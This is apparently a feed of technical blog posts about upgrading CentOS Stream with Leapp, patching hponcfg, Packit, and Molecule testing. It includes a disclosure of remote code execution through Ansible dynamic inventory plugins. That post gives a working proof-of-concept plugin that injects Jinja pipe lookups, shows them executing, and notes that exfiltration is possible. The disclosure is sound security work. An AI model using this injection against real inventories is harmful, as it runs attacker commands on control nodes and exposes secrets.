Upgrading CentOS Stream 8 to CentOS Stream 9 using Leapp

Warning to the Planet Debian readers: the following post might shock you, if you're used to Debian's smooth upgrades using only the package manager.


Contrary to distributions like Debian and Fedora, RHEL can't be upgraded using the package manager alone.

Instead there is a tool called Leapp that takes care of orchestrating the update and also includes a set of checks whether a system can be upgraded at all. Have a look at the RHEL documentation about upgrading if you want more details on the process itself.

You might have noticed that the title of this post says "CentOS Stream" but here I am talking about RHEL. This is mostly because Leapp was originally written with RHEL in mind.

Upgrading CentOS 7 to EL8

When people started pondering upgrading their CentOS 7 installations, AlmaLinux started the ELevate project to allow upgrading CentOS 7 to CentOS Stream 8 but also to AlmaLinux 8, Rocky 8 or Oracle Linux 8.

ELevate was essentially Leapp with patches to allow working on CentOS, which has different package signature keys, different OS release versioning, etc.

Sadly these patches were never merged back into Leapp.

Making Leapp work with CentOS Stream 8 (and other distributions)

At some point I noticed that things weren't moving and EL8 to EL9 upgrades were coming closer (and I had my own systems that I wanted to be able to upgrade in place).

Annoyed-Evgeni-Development is best development? Not sure, but it produced a set of patches that allowed some movement:

However, this is not yet the end of the story. At least convert dot-less CentOS versions to X.999 is open, and another followup would be needed if we go that route. But I don't expect this to be merged soon, as the patch is technically wrong - yet it makes things mostly work.

The big problem here is that CentOS Stream doesn't have X.Y versioning, just X as it's a constant stream with no point releases. Leapp however relies on X.Y versioning to know which package changes it needs to perform. Pretending CentOS Stream 8 is "RHEL" 8.999 works if you assume that Stream is always ahead of RHEL.

This is however a CentOS only problem. I still need to properly test that, but I'd expect things to work fine with upstream Leapp on AlmaLinux/Rocky if you feed it the right signature and repository data.

Actually upgrading CentOS Stream 8 to CentOS Stream 9 using Leapp

Like I've already teased in my HPE rant, I've actually used that code to upgrade virt01.conova.theforeman.org to CentOS Stream 9. I've also used it to upgrade a server at home that's responsible for running important containers like Home Assistant and UniFi. So it's absolutely battle tested and production grade! It's also hungry for kittens.

As mentioned above, you can't just use upstream Leapp, but I have a Copr: evgeni/leapp.

# dnf copr enable evgeni/leapp
# dnf install leapp leapp-upgrade-el8toel9

Apart from the software, we'll also need to tell it which repositories to use for the upgrade.

# vim /etc/leapp/files/leapp_upgrade_repositories.repo
name=CentOS Stream $releasever - BaseOS

name=CentOS Stream $releasever - AppStream

Depending on the setup and installed packages, more repositories might be needed. Just make sure that the $stream substitution is not used as Leapp doesn't override that and you'd end up with CentOS Stream 8 repos again.

Once all that is in place, we can call leapp preupgrade and let it analyze the system.

Ideally, the output will look like this:

# leapp preupgrade

                      REPORT OVERVIEW                       

Reports summary:
    Errors:                      0
    Inhibitors:                  0
    HIGH severity reports:       0
    MEDIUM severity reports:     0
    LOW severity reports:        3
    INFO severity reports:       3

Before continuing consult the full report:
    A report has been generated at /var/log/leapp/leapp-report.json
    A report has been generated at /var/log/leapp/leapp-report.txt

                   END OF REPORT OVERVIEW                   

But trust me, it won't ;-)

As mentioned above, Leapp analyzes the system before the upgrade. Some checks can completely inhibit the upgrade, while others will just be logged as "you better should have a look".

Firewalld Configuration AllowZoneDrifting Is Unsupported

EL7 and EL8 shipped with AllowZoneDrifting=yes, but since EL9 this is not supported anymore. As this can potentially break the networking of the system, the upgrade gets inhibited.

Newest installed kernel not in use

Admit it, you also don't reboot into every new kernel available! Well, Leapp won't let that pass and inhibits the upgrade.

Cannot perform the VDO check of block devices

In EL8 there are two ways to manage VDO: using the dedicated vdo tool and via LVM. If your system uses LVM (it should!) but not VDO, you probably don't have the vdo package installed. But then Leapp can't check if your LVM devices really aren't VDO without the vdo tooling and will inhibit the upgrade. So you gotta install vdo for it to find out that you don't use VDO…

LUKS encrypted partition detected

Yeah. Sorry. Using LUKS? Straight into the inhibit corner!

But hey, if you don't use LUKS for / you can probably get away by deleting the inhibitwhenluks actor. That worked for me, but remember the kittens!

Really upgrading CentOS Stream 8 to CentOS Stream 9 using Leapp

The headings are getting silly, huh?

Anyway, once leapp preupgrade is happy and doesn't throw any inhibitors anymore, the actual (real?) upgrade can be done by calling leapp upgrade.

This will download all necessary packages and create an intermediate initramfs that contains all the things needed for the upgrade and ask you to reboot.

Once booted, the upgrade itself takes somewhere between 5 and 10 minutes. Then another minute or 5 to relabel your disks with the new SELinux policy.

And three reboots (into the upgrade initramfs, into SELinux relabel, into real OS) of a ProLiant DL325 - 5 minutes each? 😿

And then for good measure another one, to flip SELinux from permissive to enforcing.

Are we done yet? Nope.

There are a few post-upgrade tasks you get to do yourself. Yes, the switching of SELinux back to enforcing is one of them. Please don't forget it.

Using the system after the upgrade

A customer once said "We're not running those systems for the sake of running systems, but for the sake of running some application ontop of them". This is very true.

libvirt doesn't support Spice/QXL

In EL9, support for Spice/QXL was dropped, so if you try to boot a VM using it, libvirt will nicely error out with

Error starting domain: unsupported configuration: domain configuration does not support video model 'qxl'

Interestingly, because multiple parts of the VM are invalid, you can't edit it in virt-manager (at least the one in Fedora 39) as removing/fixing one part requires applying the new configuration which is still invalid.

So virsh edit <vm> it is!

Look for entries like

    <channel type='spicevmc'>
      <target type='virtio' name='com.redhat.spice.0'/>
      <address type='virtio-serial' controller='0' bus='0' port='2'/>
    <graphics type='spice' autoport='yes'>
      <listen type='address'/>
    <audio id='1' type='spice'/>
      <model type='qxl' ram='65536' vram='65536' vgamem='16384' heads='1' primary='yes'/>
      <address type='pci' domain='0x0000' bus='0x00' slot='0x01' function='0x0'/>
    <redirdev bus='usb' type='spicevmc'> 
      <address type='usb' bus='0' port='2'/> 
    <redirdev bus='usb' type='spicevmc'> 
      <address type='usb' bus='0' port='3'/> 

and either just delete the or (better) replace them with VNC/cirrus

    <graphics type='vnc' port='-1' autoport='yes'>
      <listen type='address'/>
    <audio id='1' type='none'/>
      <model type='cirrus' vram='16384' heads='1' primary='yes'/>
      <address type='pci' domain='0x0000' bus='0x00' slot='0x01' function='0x0'/>

Podman needs re-login to private registries

One of the machines I've updated runs Podman and pulls containers from GitHub which are marked as private. To do so, I have a personal access token that I've used to login to ghcr.io. After the CentOS Stream 9 upgrade (which included an upgrade to Podman 5), pulls stopped working with authentication/permission errors. No idea what exactly happened, but a simple podman login fixed this issue quickly.

$ echo ghp_token | podman login ghcr.io -u <user> --password-stdin

shim has an el8 tag

One of the documented post-upgrade tasks is to verify that no EL8 packages are installed, and to remove those if there are any.

However, when you do this, you'll notice that the shim-x64 package has an EL8 version: shim-x64-15-15.el8_2.x86_64.

That's because the same build is used in both CentOS Stream 8 and CentOS Stream 9. Confusing, but should really not be uninstalled if you want the machine to boot ;-)

Are we done yet?

Yes! That's it. Enjoy your CentOS Stream 9!

Using HPONCFG on CentOS Stream 9 with OpenSSL 3.2

Today I've updated an HPE ProLiant DL325 G10 from CentOS Stream 8 to CentOS Stream 9 (details on that to follow) and realized that hponcfg was broken afterwards.

As I do not have a support contract with HPE, I couldn't just yell at them in private, so I am doing this in public now ;-)

# hponcfg
HPE Lights-Out Online Configuration utility
Version 5.6.0 Date 11/30/2020 (c) 2005,2020 Hewlett Packard Enterprise Development LP
Error: Unable to locate SSL library.
       Install latest SSL library to use HPONCFG.

Welp, what the heck?

But wait, 5.6.0 from 2020 looks old, let's update this first!

hponcfg is part of the "Management Component Pack" (at least if you're not running RHEL or SLES where you get it via the "Service Pack for ProLiant" which requires a support contract) and can be downloaded from the Software Delivery Repository.

The Software Delivery Repository tells you to configure it in /etc/yum.repos.d/mcp.repo as

name=Management Component Pack

gpgcheck=0? Suuure! Plain HTTP? Suuure!

But it gets better! When you look at https://downloads.linux.hpe.com/repo/mcp/centos/ (you have to substitute dist with your distribution!) you'll see that there is no 9 folder and thus no packages for CentOS (Stream) 9. There are however folders for Oracle, Rocky and Alma. Phew. Let's take one of these!

name=Management Component Pack

dnf upgrade hponcfg updates it to hponcfg-6.0.0-0.x86_64 and:

# hponcfg
HPE Lights-Out Online Configuration utility
Version 6.0.0 Date 10/30/2022 (c) 2005,2022 Hewlett Packard Enterprise Development LP
Error: Unable to locate SSL library.
       Install latest SSL library to use HPONCFG.


ldd doesn't show hponcfg being linked to libssl, do they dlopen() at runtime and fucked something up? ltrace to the rescue!

# ltrace hponcfg

popen("strings /bin/openssl | grep 'Ope"..., "r")            = 0x621700
fgets("OpenSSL 3.2.1 30 Jan 2024\n", 256, 0x621700)          = 0x7ffd870e2e10
strstr("OpenSSL 3.2.1 30 Jan 2024\n", "OpenSSL 3.0")         = nil


They run strings /bin/openssl |grep 'OpenSSL' and compare the result with "OpenSSL 3.0"?!

Sure, OpenSSL 3.2 in EL9 is rather fresh and didn't hit RHEL/Oracle/Alma/Rocky yet, but surely there are better ways to check for a compatible version of OpenSSL than THIS?!

Anyway, I am not going to downgrade my OpenSSL. Neither will I patch it to pretend to be 3.0.

But I can patch the hponcfg binary!

# vim /sbin/hponcfg
<go to line 146>
<replace 3.0 with 3.2>

Yes, I used vim. Yes, it works. No, I won't guarantee this won't kill a kitten somewhere.

# ./hponcfg
HPE Lights-Out Online Configuration utility
Version 6.0.0 Date 10/30/2022 (c) 2005,2022 Hewlett Packard Enterprise Development LP
Firmware Revision = 2.44 Device type = iLO 5 Driver name = hpilo

  hponcfg  -?
  hponcfg  -h
  hponcfg  -m minFw
  hponcfg  -r [-m minFw] [-u username] [-p password]
  hponcfg  -b [-m minFw] [-u username] [-p password]
  hponcfg  [-a] -w filename [-m minFw] [-u username] [-p password]
  hponcfg  -g [-m minFw] [-u username] [-p password]
  hponcfg  -f filename [-l filename] [-s namevaluepair] [-v] [-m minFw] [-u username] [-p password]
  hponcfg  -i [-l filename] [-s namevaluepair] [-v] [-m minFw] [-u username] [-p password]

  -h,  --help           Display this message
  -?                    Display this message
  -r,  --reset          Reset the Management Processor to factory defaults
  -b,  --reboot         Reboot Management Processor without changing any setting
  -f,  --file           Get/Set Management Processor configuration from "filename"
  -i,  --input          Get/Set Management Processor configuration from the XML input
                        received through the standard input stream.
  -w,  --writeconfig    Write the Management Processor configuration to "filename"
  -a,  --all            Capture complete Management Processor configuration to the file.
                        This should be used along with '-w' option
  -l,  --log            Log replies to "filename"
  -v,  --xmlverbose     Display all the responses from Management Processor
  -s,  --substitute     Substitute variables present in input config file
                        with values specified in "namevaluepairs"
  -g,  --get_hostinfo   Get the Host information
  -m,  --minfwlevel     Minimum firmware level
  -u,  --username       iLO Username
  -p,  --password       iLO Password

For comparison, here is the diff --text output:

# diff -u --text /sbin/hponcfg ./hponcfg
--- /sbin/hponcfg   2022-08-02 01:07:55.000000000 +0000
+++ ./hponcfg   2024-05-15 09:06:54.373121233 +0000
@@ -143,7 +143,7 @@
 helpget_hostinforesetwriteconfigallfileinputlogminfwlevelxmlverbosesubstitutetimeoutdbgverbosityrebootusernamepasswordlibpath%Ah*Ag7Ar=AwIAaMAfRAiXAl\AmgAvrAs}At�Ad�Ab�Au�Ap�Azhgrbaw:f:il:m:vs:t:d:z:u:p:tmpXMLinputFile%2d.xmlw+Error: Syntax Error - Invalid options present.
 =O@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@aQ@�M@�M@aQ@�M@aQ@�N@�M@�N@�P@aQ@aQ@�M@�M@aQ@aQ@LN@aQ@�M@�O@�M@�M@�M@�M@aQ@aQ@�M@<!----><LOGINUSER_LOGINPASSWORD<LOGIN USER_LOGIN="%s" PASSWORD="%s"ERROR: LOGIN tag is missing.
 >ERROR: LOGIN end tag is missing.
-strings  | grep 'OpenSSL 1' | grep 'OpenSSL 3'OpenSSL 1.0OpenSSL 1.1OpenSSL 3.0which openssl 2>&1/usr/bin/opensslOpenSSL location - %s
+strings  | grep 'OpenSSL 1' | grep 'OpenSSL 3'OpenSSL 1.0OpenSSL 1.1OpenSSL 3.2which openssl 2>&1/usr/bin/opensslOpenSSL location - %s
 Current version %s

 No response from command.

Pretty sure it won't apply like this with patch, but you get the idea.

And yes, double-giggles for the fact that the error message says "Install latest SSL library to use HPONCFG" and the issues is because I have the latest SSL library installed…

Using Packit to build RPMs for projects that depend on or vendor your code

I am a huge fan of Packit as it allows us to provide RPMs to our users and testers directly from a pull-request, thus massively tightening the feedback loop and involving people who otherwise might not be able to apply the changes (for whatever reason) and "quickly test" something out. It's also a great way to validate that a change actually builds in a production environment, where no unnecessary development and test dependencies are installed.

You can also run tests of the built packages on Testing Farm and automate pushing releases into Fedora/CentOS Stream, but this is neither a (plain) Packit advertisement post, nor is that functionality that I can talk about with a certain level of experience.

Adam recently asked why we don't have Packit builds for our our Puppet modules and my first answer was: "well, puppet-* doesn't produce a thing we ship directly, so nobody dared to do it".

My second answer was that I had blogged how to test a Puppet module PR with Packit, but I totally agree that the process was a tad cumbersome and could be improved.

Now some madman did it and we all get to hear his story! ;-)

What is the problem anyway?

The Foreman Installer is a bit of Ruby code1 that provides a CLI to puppet apply based on a set of Puppet modules. As the Puppet modules can also be used outside the installer and have their own lifecycle, they live in separate git repositories and their releases get uploaded to the Puppet Forge. Users however do not want to (and should not have to) install the modules themselves.

So we have to ship the modules inside the foreman-installer package. Packaging 25 modules for two packaging systems (we support Enterprise Linux and Debian/Ubuntu) seems like a lot of work. Especially if you consider that the main foreman-installer package would need to be rebuilt after each module change as it contains generated files based on the modules which are too expensive to generate at runtime.

So we can ship the modules inside the foreman-installer source release, thus vendoring those modules into the installer release.

To do so we use librarian-puppet with a Puppetfile and either a Puppetfile.lock for stable releases or by letting librarian-puppet fetch latest for nightly snapshots.

This works beautifully for changes that land in the development and release branches of our repositories - regardless if it's foreman-installer.git or any of the puppet-*.git ones. It also works nicely for pull-requests against foreman-installer.git.

But because the puppet-* repositories do not map to packages, we assumed it wouldn't work well for pull-requests against those.

How can we solve this?

Well, the "obvious" solution is to build the foreman-installer package via Packit also for pull-requests against the puppet-* repositories. However, as usual, the devil is in the details.

Packit by default clones the repository of the pull-request and tries to create a source tarball from that using git archive. As this might be too simple for many projects, one can define a custom create-archive action that runs after the pull-request has been cloned and produces the tarball instead. We already use that in the Packit configuration for foreman-installer to run the pkg:generate_source rake target which executes librarian-puppet for us.

But now the pull-request is against one of the Puppet modules, so Packit will clone that, not the installer.

We gotta clone foreman-installer on our own. And then point librarian-puppet at the pull-request. Fun.

Cloning is relatively simple, call git clone -- sorry Packit/Copr infrastructure.

But the Puppet module pull-request? One can use :git => 'https://git.example.com/repo.git' in the Puppetfile to fetch a git repository. In fact, that's what we already do for our nightly snapshots. It also supports :ref => 'some_branch_or_tag_name', if the remote HEAD is not what you want.

My brain first went "I know this! GitHub has this magic refs/pull/1/head and refs/pull/1/merge refs you can checkout to get the contents of the pull-request without bothering to add a remote for the source of the pull-request". Well, this requires to know the ID of the pull-request and Packit does not expose that in the environment variables available during create-archive.

Wait, but we already have a checkout. Can we just say :git => '../.git'? Cloning a .git folder is totally possible after all.

[Librarian]     --> fatal: repository '../.git' does not exist
Could not checkout ../.git: fatal: repository '../.git' does not exist

Seems librarian disagrees. Damn. (Yes, I checked, the path exists.)

💡 does it maybe just not like relative paths?! Yepp, using an absolute path absolutely works!

For some reason it ends up checking out the default HEAD of the "real" (GitHub) remote, not of ../. Luckily this can be fixed by explicitly passing :ref => 'origin/HEAD', which resolves to the branch Packit created for the pull-request.

Now we just need to put all of that together and remember to execute all commands from inside the foreman-installer checkout as that is where all our vendoring recipes etc live.

Putting it all together

Let's look at the diff between the packit.yaml for foreman-installer and the one I've proposed for puppet-pulpcore:

--- a/foreman-installer/.packit.yaml    2024-05-14 21:45:26.545260798 +0200
+++ b/puppet-pulpcore/.packit.yaml  2024-05-14 21:44:47.834162418 +0200
@@ -18,13 +18,15 @@
     - "wget https://raw.githubusercontent.com/theforeman/foreman-packaging/rpm/develop/packages/foreman/foreman-installer/foreman-installer.spec -O foreman-installer.spec"
+    - "git clone https://github.com/theforeman/foreman-installer"
+    - "sed -i '/theforeman.pulpcore/ s@:git.*@:git => \"#{__dir__}/../.git\", :ref => \"origin/HEAD\"@' foreman-installer/Puppetfile"
-    - "sed 's/-develop//' VERSION"
+    - "sed 's/-develop//' foreman-installer/VERSION"
-    - bundle config set --local path vendor/bundle
-    - bundle config set --local without development:test
-    - bundle install
-    - bundle exec rake pkg:generate_source
+    - bash -c "cd foreman-installer && bundle config set --local path vendor/bundle"
+    - bash -c "cd foreman-installer && bundle config set --local without development:test"
+    - bash -c "cd foreman-installer && bundle install"
+    - bash -c "cd foreman-installer && bundle exec rake pkg:generate_source"
  1. It clones foreman-installer (in post-upstream-clone, as that felt more natural after some thinking)
  2. It adjusts the Puppetfile to use #{__dir__}/../.git as the Git repository, abusing the fact that a Puppetfile is really just a Ruby script (sorry Ben!) and knows the __dir__ it lives in
  3. It fetches the version from the foreman-installer checkout, so it's sort-of reasonable
  4. It performs all building inside the foreman-installer checkout

Can this be used in other scenarios?

I hope so! Vendoring is not unheard of. And testing your "consumers" (dependents? naming is hard) is good style anyway!

  1. three Ruby modules in a trench coat, so to say 

Running Ansible Molecule tests in parallel

Or "How I've halved the execution time of our tests by removing ten lines". Catchy, huh? Also not exactly true, but quite close. Enjoy!


"Molecule project is designed to aid in the development and testing of Ansible roles."

No idea about the development part (I have vim and mkdir), but it's really good for integration testing. You can write different test scenarios where you define an environment (usually a container), a playbook for the execution and a playbook for verification. (And a lot more, but that's quite unimportant for now, so go read the docs if you want more details.)

If you ever used Beaker for Puppet integration testing, you'll feel right at home (once you've thrown away Ruby and DSLs and embraced YAML for everything).

I'd like to point out one thing, before we continue. Have another look at the quote above.

"Molecule project is designed to aid in the development and testing of Ansible roles."

That's right. The project was started in 2015 and was always about roles. There is nothing wrong about that, but given the Ansible world has moved on to collections (which can contain roles), you start facing challenges.

Challenges using Ansible Molecule in the Collections world

The biggest challenge didn't change since the last time I looked at the topic in 2020: running tests for multiple roles in a single repository ("monorepo") is tedious.

Well, guess what a collection is? Yepp, a repository with multiple roles in it.

It did get a bit better though. There is pytest-ansible now, which has integration for Molecule. This allows the execution of Molecule and even provides reasonable logging with something as short as:

% pytest --molecule roles/

That's much better than the shell script I used in 2020!

However, being able to execute tests is one thing. Being able to execute them fast is another one.

Given Molecule was initially designed with single roles in mind, it has switches to run all scenarios of a role (--all), but it has no way to run these in parallel. That's fine if you have one or two scenarios in your role repository. But what if you have 10 in your collection?

"No way?!" you say after quickly running molecule test --help, "But there is…"

% molecule test --help
Usage: molecule test [OPTIONS] [ANSIBLE_ARGS]...

  --parallel / --no-parallel      Enable or disable parallel mode. Default is disabled.

Yeah, that switch exists, but it only tells Molecule to place things in separate folders, you still need to parallelize yourself with GNU parallel or pytest.

And here our actual journey starts!

Running Ansible Molecule tests in parallel

To run Molecule via pytest in parallel, we can use pytest-xdist, which allows pytest to run the tests in multiple processes.

With that, our pytest call becomes something like this:

% MOLECULE_OPTS="--parallel" pytest --numprocesses auto --molecule roles/

What does that mean?

  • MOLECULE_OPTS passes random options to the Molecule call pytest does, and we need to add --parallel there.
  • --numprocesses auto tells pytest-xdist to create as many workers as you have CPUs and balance the work across those.

However, once we actually execute it, we see:

% MOLECULE_OPTS="--parallel" pytest --numprocesses auto --molecule roles/

WARNING  Driver podman does not provide a schema.
INFO     debian scenario test matrix: dependency, cleanup, destroy, syntax, create, prepare, converge, idempotence, side_effect, verify, cleanup, destroy
INFO     Performing prerun with role_name_check=0...
WARNING  Retrying execution failure 250 of: ansible-galaxy collection install -vvv --force ../..
ERROR    Command returned 250 code:

OSError: [Errno 39] Directory not empty: 'roles'

FileExistsError: [Errno 17] File exists: b'/home/user/namespace.collection/collections/ansible_collections/namespace/collection'

FileNotFoundError: [Errno 2] No such file or directory: b'/home/user/namespace.collection//collections/ansible_collections/namespace/collection/roles/my_role/molecule/debian/molecule.yml'

You might see other errors, other paths, etc, but they all will have one in common: they indicate that either files or directories are present, while the tool expects them not to be, or vice versa.

Ah yes, that fine smell of race conditions.

I'll spare you the wild-goose chase I went on when trying to find out what the heck was calling ansible-galaxy collection install here. Instead, I'll just point at the following line:

INFO     Performing prerun with role_name_check=0...

What is this "prerun" you ask? Well… "To help Ansible find used modules and roles, molecule will perform a prerun set of actions. These involve installing dependencies from requirements.yml specified at the project level, installing a standalone role or a collection."

Turns out, this step is not --parallel-safe (yet?).

Luckily, it can easily be disabled, for all our roles in the collection:

% mkdir -p .config/molecule
% echo 'prerun: false' >> .config/molecule/config.yml

This works perfectly, as long as you don't have any dependencies.

And we don't have any, right? We didn't define any in a molecule/collections.yml, our collection has none.

So let's push a PR with that and see what our CI thinks.

OSError: [Errno 39] Directory not empty: 'tests'


FileExistsError: [Errno 17] File exists: b'remote.sh' -> b'/home/runner/work/namespace.collection/namespace.collection/collections/ansible_collections/ansible/posix/tests/utils/shippable/aix.sh'


ansible_compat.errors.InvalidPrerequisiteError: Found collection at '/home/runner/work/namespace.collection/namespace.collection/collections/ansible_collections/ansible/posix' but missing MANIFEST.json, cannot get info.

Okay, okay, I get the idea… But why?

Well, our collection might not have any dependencies, BUT MOLECULE HAS! When using Docker containers, it uses community.docker, when using Podman containers.podman, etc…

So we have to install those before running Molecule, and everything should be fine. We even can use Molecule to do this!

$ molecule dependency --scenario <scenario>

And with that knowledge, the patch to enable parallel Molecule execution on GitHub Actions using pytest-xdist becomes:

diff --git a/.config/molecule/config.yml b/.config/molecule/config.yml
new file mode 100644
index 0000000..32ed66d
--- /dev/null
+++ b/.config/molecule/config.yml
@@ -0,0 +1 @@
+prerun: false
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index 0f9da0d..df55a15 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -58,9 +58,13 @@ jobs:
       - name: Install Ansible
         run: pip install --upgrade https://github.com/ansible/ansible/archive/${{ matrix.ansible }}.tar.gz
       - name: Install dependencies
-        run: pip install molecule molecule-plugins pytest pytest-ansible
+        run: pip install molecule molecule-plugins pytest pytest-ansible pytest-xdist
+      - name: Install collection dependencies
+        run: cd roles/repository && molecule dependency -s suse
       - name: Run tests
-        run: pytest -vv --molecule roles/
+        run: pytest -vv --numprocesses auto --molecule roles/
+        env:
+          MOLECULE_OPTS: --parallel

     runs-on: ubuntu-latest

But you promised us to delete ten lines, that's just a +7-2 patch!

Oh yeah, sorry, the +10-20 (so a net -10) is the foreman-operations-collection version of the patch, that also migrates from an ugly bash script to pytest-ansible.

And yes, that cuts down the execution from ~26 minutes to ~13 minutes.

In the collection I originally tested this with, it's a more moderate "from 8-9 minutes to 5-6 minutes", which is still good though :)

Remote Code Execution in Ansible dynamic inventory plugins

I had reported this to Ansible a year ago (2023-02-23), but it seems this is considered expected behavior, so I am posting it here now.


Don't ever consume any data you got from an inventory if there is a chance somebody untrusted touched it.

Inventory plugins

Inventory plugins allow Ansible to pull inventory data from a variety of sources. The most common ones are probably the ones fetching instances from clouds like Amazon EC2 and Hetzner Cloud or the ones talking to tools like Foreman.

For Ansible to function, an inventory needs to tell Ansible how to connect to a host (so e.g. a network address) and which groups the host belongs to (if any). But it can also set any arbitrary variable for that host, which is often used to provide additional information about it. These can be tags in EC2, parameters in Foreman, and other arbitrary data someone thought would be good to attach to that object.

And this is where things are getting interesting. Somebody could add a comment to a host and that comment would be visible to you when you use the inventory with that host. And if that comment contains a Jinja expression, it might get executed. And if that Jinja expression is using the pipe lookup, it might get executed in your shell.

Let that sink in for a moment, and then we'll look at an example.

Example inventory plugin

from ansible.plugins.inventory import BaseInventoryPlugin

class InventoryModule(BaseInventoryPlugin):

    NAME = 'evgeni.inventoryrce.inventory'

    def verify_file(self, path):
        valid = False
        if super(InventoryModule, self).verify_file(path):
            if path.endswith('evgeni.yml'):
                valid = True
        return valid

    def parse(self, inventory, loader, path, cache=True):
        super(InventoryModule, self).parse(inventory, loader, path, cache)
        self.inventory.set_variable('exploit.example.com', 'ansible_connection', 'local')
        self.inventory.set_variable('exploit.example.com', 'something_funny', '{{ lookup("pipe", "touch /tmp/hacked" ) }}')

The code is mostly copy & paste from the Developing dynamic inventory docs for Ansible and does three things:

  1. defines the plugin name as evgeni.inventoryrce.inventory
  2. accepts any config that ends with evgeni.yml (we'll need that to trigger the use of this inventory later)
  3. adds an imaginary host exploit.example.com with local connection type and something_funny variable to the inventory

In reality this would be talking to some API, iterating over hosts known to it, fetching their data, etc. But the structure of the code would be very similar.

The crucial part is that if we have a string with a Jinja expression, we can set it as a variable for a host.

Using the example inventory plugin

Now we install the collection containing this inventory plugin, or rather write the code to ~/.ansible/collections/ansible_collections/evgeni/inventoryrce/plugins/inventory/inventory.py (or wherever your Ansible loads its collections from).

And we create a configuration file. As there is nothing to configure, it can be empty and only needs to have the right filename: touch inventory.evgeni.yml is all you need.

If we now call ansible-inventory, we'll see our host and our variable present:

% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-inventory -i inventory.evgeni.yml --list
    "_meta": {
        "hostvars": {
            "exploit.example.com": {
                "ansible_connection": "local",
                "something_funny": "{{ lookup(\"pipe\", \"touch /tmp/hacked\" ) }}"
    "all": {
        "children": [
    "ungrouped": {
        "hosts": [

(ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory is required to allow the use of our inventory plugin, as it's not in the default list.)

So far, nothing dangerous has happened. The inventory got generated, the host is present, the funny variable is set, but it's still only a string.

Executing a playbook, interpreting Jinja

To execute the code we'd need to use the variable in a context where Jinja is used. This could be a template where you actually use this variable, like a report where you print the comment the creator has added to a VM.

Or a debug task where you dump all variables of a host to analyze what's set. Let's use that!

- hosts: all
    - name: Display all variables/facts known for a host
        var: hostvars[inventory_hostname]

This playbook looks totally innocent: run against all hosts and dump their hostvars using debug. No mention of our funny variable. Yet, when we execute it, we see:

% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************

TASK [Gathering Facts] ************************************************************************************
ok: [exploit.example.com]

TASK [Display all variables/facts known for a host] *******************************************************
ok: [exploit.example.com] => {
    "hostvars[inventory_hostname]": {
        "ansible_all_ipv4_addresses": [

        "something_funny": ""

PLAY RECAP *************************************************************************************************
exploit.example.com  : ok=2    changed=0    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   

We got all variables dumped, that was expected, but now something_funny is an empty string? Jinja got executed, and the expression was {{ lookup("pipe", "touch /tmp/hacked" ) }} and touch does not return anything. But it did create the file!

% ls -alh /tmp/hacked 
-rw-r--r--. 1 evgeni evgeni 0 Mar 10 17:18 /tmp/hacked

We just "hacked" the Ansible control node (aka: your laptop), as that's where lookup is executed. It could also have used the url lookup to send the contents of your Ansible vault to some internet host. Or connect to some VPN-secured system that should not be reachable from EC2/Hetzner/….

Why is this possible?

This happens because set_variable(entity, varname, value) doesn't mark the values as unsafe and Ansible processes everything with Jinja in it.

In this very specific example, a possible fix would be to explicitly wrap the string in AnsibleUnsafeText by using wrap_var:

from ansible.utils.unsafe_proxy import wrap_var

self.inventory.set_variable('exploit.example.com', 'something_funny', wrap_var('{{ lookup("pipe", "touch /tmp/hacked" ) }}'))

Which then gets rendered as a string when dumping the variables using debug:

"something_funny": "{{ lookup(\"pipe\", \"touch /tmp/hacked\" ) }}"

But it seems inventories don't do this:

for k, v in host_vars.items():
    self.inventory.set_variable(name, k, v)


for key, value in hostvars.items():
    self.inventory.set_variable(hostname, key, value)


for k, v in hostvars.items():
        self.inventory.set_variable(host_name, k, v)
    except ValueError as e:
        self.display.warning("Could not set host info hostvar for %s, skipping %s: %s" % (host, k, to_text(e)))


And honestly, I can totally understand that. When developing an inventory, you do not expect to handle insecure input data. You also expect the API to handle the data in a secure way by default. But set_variable doesn't allow you to tag data as "safe" or "unsafe" easily and data in Ansible defaults to "safe".

Can something similar happen in other parts of Ansible?

It certainly happened in the past that Jinja was abused in Ansible: CVE-2016-9587, CVE-2017-7466, CVE-2017-7481

But even if we only look at inventories, add_host(host) can be abused in a similar way:

from ansible.plugins.inventory import BaseInventoryPlugin

class InventoryModule(BaseInventoryPlugin):

    NAME = 'evgeni.inventoryrce.inventory'

    def verify_file(self, path):
        valid = False
        if super(InventoryModule, self).verify_file(path):
            if path.endswith('evgeni.yml'):
                valid = True
        return valid

    def parse(self, inventory, loader, path, cache=True):
        super(InventoryModule, self).parse(inventory, loader, path, cache)
        self.inventory.add_host('lol{{ lookup("pipe", "touch /tmp/hacked-host" ) }}')
% ANSIBLE_INVENTORY_ENABLED=evgeni.inventoryrce.inventory ansible-playbook -i inventory.evgeni.yml test.yml
PLAY [all] ************************************************************************************************

TASK [Gathering Facts] ************************************************************************************
fatal: [lol{{ lookup("pipe", "touch /tmp/hacked-host" ) }}]: UNREACHABLE! => {"changed": false, "msg": "Failed to connect to the host via ssh: ssh: Could not resolve hostname lol: No address associated with hostname", "unreachable": true}

PLAY RECAP ************************************************************************************************
lol{{ lookup("pipe", "touch /tmp/hacked-host" ) }} : ok=0    changed=0    unreachable=1    failed=0    skipped=0    rescued=0    ignored=0

% ls -alh /tmp/hacked-host
-rw-r--r--. 1 evgeni evgeni 0 Mar 13 08:44 /tmp/hacked-host

Affected versions

I've tried this on Ansible (core) 2.13.13 and 2.16.4. I'd totally expect older versions to be affected too, but I have not verified that.

Running autopkgtest with Docker inside Docker

While I am not the biggest fan of Docker, I must admit it has quite some reach across various service providers and can often be seen as an API for running things in isolated environments.

One such service provider is GitHub when it comes to their Actions service.

I have no idea what isolation technology GitHub uses on the outside of Actions, but inside you just get an Ubuntu system and can run whatever you want via Docker as that comes pre-installed and pre-configured. This especially means you can run things inside vanilla Debian containers, that are free from any GitHub or Canonical modifications one might not want ;-)

So, if you want to run, say, lintian from sid, you can define a job to do so:

    runs-on: ubuntu-latest
    container: debian:sid
      - [ do something to get a package to run lintian on ]
